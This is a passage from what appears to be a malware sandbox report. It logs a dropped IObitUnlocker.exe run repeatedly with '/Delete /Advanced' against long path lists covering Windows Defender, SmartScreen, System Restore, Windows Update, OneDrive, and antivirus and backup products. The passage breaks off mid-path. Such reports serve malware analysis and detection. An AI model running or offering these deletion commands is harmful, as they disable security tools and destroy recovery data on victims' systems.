Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:5740
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:2932
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW